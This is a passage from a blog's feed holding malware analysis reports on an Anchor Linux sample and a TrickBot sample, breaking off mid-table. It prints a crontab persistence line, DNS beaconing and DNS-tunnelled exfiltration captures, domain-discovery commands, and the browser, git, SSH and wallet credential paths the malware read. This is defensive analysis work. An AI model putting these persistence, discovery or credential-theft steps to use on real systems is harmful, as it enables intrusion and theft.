  &lt;li&gt;&lt;a href=&quot;https://malpedia.caad.fkie.fraunhofer.de/details/elf.anchor_dns&quot;&gt;MalPedia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;
&lt;h1 id=&quot;behavioral-analysis&quot;&gt;Behavioral Analysis&lt;/h1&gt;
&lt;h2 id=&quot;processes&quot;&gt;Processes&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;PID&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;User&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Command&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1654&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;remnux&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;sudo ./7d2595904aa6feb46b3e8f3262963042&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1655&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;root&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;./7d2595904aa6feb46b3e8f3262963042&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1660&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;root&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;/bin/sh -c /home/remnux/Downloads/7d2595904aa6feb46b3e8f3262963042&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1663&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;root&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;/home/remnux/Downloads/7d2595904aa6feb46b3e8f3262963042&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1664&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;root&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;/home/remnux/Downloads/7d2595904aa6feb46b3e8f3262963042&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1667&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;root&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;/bin/sh -c /home/remnux/Downloads/7d2595904aa6feb46b3e8f3262963042&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1668&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;root&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;/home/remnux/Downloads/7d2595904aa6feb46b3e8f3262963042&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;modified-files&quot;&gt;Modified Files&lt;/h2&gt;

&lt;p&gt;Process 1655 appended the following to /etc/crontab.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;*/1 ** * *root/home/remnux/Downloads/7d2595904aa6feb46b3e8f3262963042
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;pcap&quot;&gt;PCAP&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc.pcap&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;protocols&quot;&gt;Protocols&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Protocol&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Number of Packets&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DNS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;222&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;HTTP&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;2&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;indicators-of-compromise&quot;&gt;Indicators of Compromise&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;*.biillpi[.]com&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;external-ip-scraping&quot;&gt;External IP Scraping&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET / HTTP/1.1
Host: checkip.amazonaws.com
User-Agent: test my ip
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 06 Aug 2020 02:01:02 GMT
Server: lighttpd/1.4.53
Content-Length: 14
Connection: keep-alive

107.158.15.11
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;c2-beaconing&quot;&gt;C2 Beaconing&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;34  10.874377 192.168.1.101 → 192.168.1.1  DNS 123 Standard query 0x85bf A 898A926AB2D9AFF7CD2FFB3BE8A8A0545BBBBA96.biillpi.com OPT
35  10.874542 192.168.1.101 → 192.168.1.1  DNS 123 Standard query 0xd994 AAAA 898A926AB2D9AFF7CD2FFB3BE8A8A0545BBBBA96.biillpi.com OPT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;c2-host-information-exfiltration&quot;&gt;C2 Host Information Exfiltration&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;20   9.602723 192.168.1.101 → 192.168.1.1  DNS 314 Standard query 0x1916 A 898A926AB2D9AFF7CD2FFB3BE8A8A0545BB9BA96D8D7DAD1D6CBE6D5D0D7CCC.196CBDCD4D7CCC1E6F58D888C89888888978F8EFBFF8F81FD80FDFD89FF8DFD.8E8B808B898DFF88FB8EFB8D8AF8F8F888FF968996F58D888C8988888896888.989889688898E97888C8197888C97888896FF81.biillpi.com OPT
21   9.610991 192.168.1.101 → 192.168.1.1  DNS 314 Standard query 0x8b73 AAAA 898A926AB2D9AFF7CD2FFB3BE8A8A0545BB9BA96D8D7DAD1D6CBE6D5D0D7CCC.196CBDCD4D7CCC1E6F58D888C89888888978F8EFBFF8F81FD80FDFD89FF8DFD.8E8B808B898DFF88FB8EFB8D8AF8F8F888FF968996F58D888C8988888896888.989889688898E97888C8197888C97888896FF81.biillpi.com OPT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Thu, 06 Aug 2020 01:00:00 +0000</pubDate>
        <link>https://bizarrechaos.com/posts/Malware-Analysis-Anchor_Linux/</link>
        <guid isPermaLink="true">https://bizarrechaos.com/posts/Malware-Analysis-Anchor_Linux/</guid>
        
        <category>malware_analysis</category>
        
        
        <category>posts</category>
        
      </item>
    
      <item>
        <title>Malware Analysis: TrickBot</title>
        <description>&lt;h1 id=&quot;disclaimer&quot;&gt;Disclaimer&lt;/h1&gt;

&lt;p&gt;The following is a Malware analysis report for the binary with SHA-256 hash 91beb7c43da3dd723c9d44629ab656b4f913c5ec111d1d362279938645f7edd3.&lt;br /&gt;
The binary can be downloaded from &lt;a href=&quot;https://bazaar.abuse.ch/sample/91beb7c43da3dd723c9d44629ab656b4f913c5ec111d1d362279938645f7edd3/&quot;&gt;MalwareBazaar&lt;/a&gt;&lt;br /&gt;
I take no responsibility for any actions you take based on this report.&lt;br /&gt;
Use caution when downloading and executing malware.&lt;br /&gt;
Use a virtual machine, be safe, have fun.&lt;/p&gt;

&lt;h1 id=&quot;opinions&quot;&gt;Opinions&lt;/h1&gt;

&lt;p&gt;TrickBots main goal, being a banking trojan at heart, is to steal credit card and banking account information. &lt;br /&gt;
However that has not been lucrative enough for the bad actors, hence more and more data is being searched for and the use of stage two payloads has increased.&lt;/p&gt;

&lt;p&gt;This sample was only running for 15-20 minutes. Typically in TrickBot infections the malware will continue to beacon out indefinitely.&lt;br /&gt;
It is not uncommon to see a stage two payload pushed to beaconing victims days after the initial infections.&lt;br /&gt;
Typically the stage two payload will be more persistent and usually is either a ransomware variant, or a crypto miner.&lt;/p&gt;

&lt;p&gt;TrickBot, like other popular trojans, will continue to evolve.&lt;br /&gt;
Anti-analysis techniques will be added. Capabilities will be added.&lt;br /&gt;
Whether its stealing financial or personal data or delivering ransomware, as long as there is a way to profit from it, it will continue to be used.&lt;/p&gt;

&lt;h1 id=&quot;analysis-summary&quot;&gt;Analysis Summary&lt;/h1&gt;

&lt;p&gt;When executed this malware spawns another instance of itself.&lt;br /&gt;
This new process then runs and injects malicious code into the legitimate windows process wermgr.exe.&lt;br /&gt;
Wermgr.exe then calls svchost to run the host discovery commands.&lt;/p&gt;

&lt;p&gt;The discovery seen in this sample involves running ipconfig.exe, net.exe, nltest.exe, as well as a GET request to wtfismyip[.]com which returns the public IP of the host.&lt;br /&gt;
Aside from data about the host and network the malware searched for sensitive information on the host as well.&lt;br /&gt;
Crypto currency credentials, ssh credentials, vpn credentials and configurations, vnc credentials and configurations, git credentials, as well as browser history, cache and saved passwords were searched for.&lt;br /&gt;
The malware then exfiltrates this data over HTTPS in a POST request to several of its C2 servers.&lt;br /&gt;
One of the POST requests indicate that credit card information may have also been searched for in the files on the host.&lt;/p&gt;

&lt;p&gt;As for persistence, nothing of note was done, there were no created registry keys, scheduled tasks, or services.&lt;/p&gt;

&lt;h1 id=&quot;environment-and-tools&quot;&gt;Environment and tools&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/&quot;&gt;Windows 10&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/fireeye/flare-vm&quot;&gt;Flare VM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pfsense.org/&quot;&gt;pFsense&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tcpdump.org/&quot;&gt;tcpdump&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&quot;&gt;procmon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/fireeye/capa&quot;&gt;capa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.winitor.com/&quot;&gt;pestudio&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;
&lt;h1 id=&quot;static-analysis&quot;&gt;Static Analysis&lt;/h1&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Data&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;File Size&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;540724 bytes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Code Signing&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Unsigned&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;MD5&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;5930091b65aed9627dd1a4e86458b72f&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;SHA1&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1e6ee2e805e21c007aa70217856bf31141ccc552&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;SHA256&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;91beb7c43da3dd723c9d44629ab656b4f913c5ec111d1d362279938645f7edd3&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;SSDEEP&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;6144:QXRZwJkHAfrJoz9KnjY/F0eAcLeRpJ0ulEypWu/blRTZSMIbBkfoqpArjO:QXRZmrJoBKIqkapJDmy4uBRTQ4pD&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;IMPHash&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;a9daf8a064784a80002aa6baaea5ce3b&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Compile Time&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Wed Jul 22 08:55:12 2020&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Packed&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Compiler&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Microsoft Visual Basic 6.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Linker&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Microsoft Linker&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Overlay&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PDB 2.0 file link&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Entropy&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;6.827&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;pe-sections&quot;&gt;PE Sections&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;PE Section&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;MD5&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Entropy&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Size&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Entry Point&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Access&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.text&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;9F4717E23F056519B2BEEB92221702EB&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;5.838&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;339968 bytes&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x0000487C&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;R,X&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.data&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;620F0B67A91F7F74151BC5BE745B7110&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;4096 bytes&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt; &lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;R,W,ID&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.rsrc&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;34DEF4049197F06B4075C6A749B19987&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;7.895&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;192512 bytes&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt; &lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;R,ID&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;imports&quot;&gt;Imports&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Library&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Count&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;oleaut32.dll&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;kernel32.dll&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;MSVBVM60.DLL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;144&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;possible-breakpoints&quot;&gt;Possible Breakpoints&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;VirtualAlloc&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;capabilities&quot;&gt;Capabilities&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Capability&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Namespace&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;execute anti-VM instructions (2 matches)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;anti-analysis/anti-vm/vm-detection&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;contains PDB path&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;executable/pe/pdb&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;contain a resource (.rsrc) section&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;executable/pe/section/rsrc&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;parse PE header (4 matches)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;load-code/pe&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;tactics-and-techniques&quot;&gt;Tactics and Techniques&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;ATT&amp;amp;CK Tactic&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;ATT&amp;amp;CK Technique&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFENSE EVASION&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Virtualization/Sandbox Evasion::System Checks [T1497.001]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;EXECUTION&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Shared Modules [T1129]&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;osint&quot;&gt;OSINT&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/91beb7c43da3dd723c9d44629ab656b4f913c5ec111d1d362279938645f7edd3/detection&quot;&gt;Virustotal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bazaar.abuse.ch/sample/91beb7c43da3dd723c9d44629ab656b4f913c5ec111d1d362279938645f7edd3/&quot;&gt;MalwareBazaar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.capesandbox.com/analysis/31332/&quot;&gt;CAPE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tria.ge/reports/200722-9yv23veh5n/behavioral1&quot;&gt;Triage&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.joesandbox.com/analysis/395432&quot;&gt;JoeSandbox&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://analyze.intezer.com/analyses/7caca120-4d8f-4c88-b7c9-c01da86f725c&quot;&gt;Intezer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hybrid-analysis.com/sample/91beb7c43da3dd723c9d44629ab656b4f913c5ec111d1d362279938645f7edd3&quot;&gt;HybridAnalysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.packettotal.com/app/queue?id=a401728099e41beca3d38a82c2ecd82f&quot;&gt;PacketTotal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pcap.honeynet.org.my/v1/submission/view.php?id=12957.php&quot;&gt;HoneyNet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;
&lt;h1 id=&quot;behavioral-analysis&quot;&gt;Behavioral Analysis&lt;/h1&gt;
&lt;h2 id=&quot;processes&quot;&gt;Processes&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Process&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;PID&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Command Line&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;91beb7c43da3dd….exe&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;5388&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;91beb7c43da3dd….exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;91beb7c43da3dd….exe&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;3128&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;91beb7c43da3dd….exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;wermgr.exe&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;2904&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;wermgr.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;svchost.exe&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;5204&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;svchost.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;svchost.exe&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;6944&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;svchost.exe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;ipconfig.exe&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;6016&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;ipconfig /all&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;net.exe&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;6240&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;net config workstation&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;net.exe&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;6404&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;net view /all&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;net.exe&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;264&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;net view /all /domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;nltest.exe&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;6556&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;nltest /domain_trusts&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;nltest.exe&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;3808&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;nltest /domain_trusts /all_trusts&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;files-created&quot;&gt;Files Created&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\REM\AppData\Local\Temp\~DF5E8D1E64DE577706.TMP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;files-accessed&quot;&gt;Files Accessed&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Program Files\UltraVNC\ultravnc.ini
C:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini
C:\Program Files (x86)\UltraVNC\ultravnc.ini
C:\Program Files (x86)\uvnc bvba\UltraVNC\ultravnc.ini
C:\Users\REM\AppData\Local\Google\Chrome\User Data\Default\History
C:\Users\REM\AppData\Local\Google\Chrome\User Data\Default\History.bak
C:\Users\REM\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\REM\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak
C:\Users\REM\AppData\Local\Google\Chrome\User Data\Default\Web Data
C:\Users\REM\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak
C:\Users\REM\AppData\Local\Google\Chrome\User Data\Local State
C:\Users\REM\AppData\Local\Google\Chrome\User Data\Local State.bak
C:\Users\REM\.config\git\credentials
C:\Users\REM\.git-credentials
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;directories-listed&quot;&gt;Directories Listed&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\REM\AppData\Roaming\bitcoin
C:\Users\REM\AppData\Roaming\litecoin
C:\Users\REM\.ssh
C:\Users\REM\AppData\Local\Microsoft\Windows\INetCookies
C:\Users\REM\AppData\Local\Microsoft\Windows\INetCache
C:\Users\REM\AppData\Local\Microsoft\Windows\INetCache\Content.IE5
C:\Users\REM\AppData\Local\Microsoft\Windows\INetCache\IE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;pcap&quot;&gt;PCAP&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bizarrechaos.com/attachments/91beb7c43da3dd723c9d44629ab656b4f913c5ec111d1d362279938645f7edd3.pcap&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;protocols&quot;&gt;Protocols&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
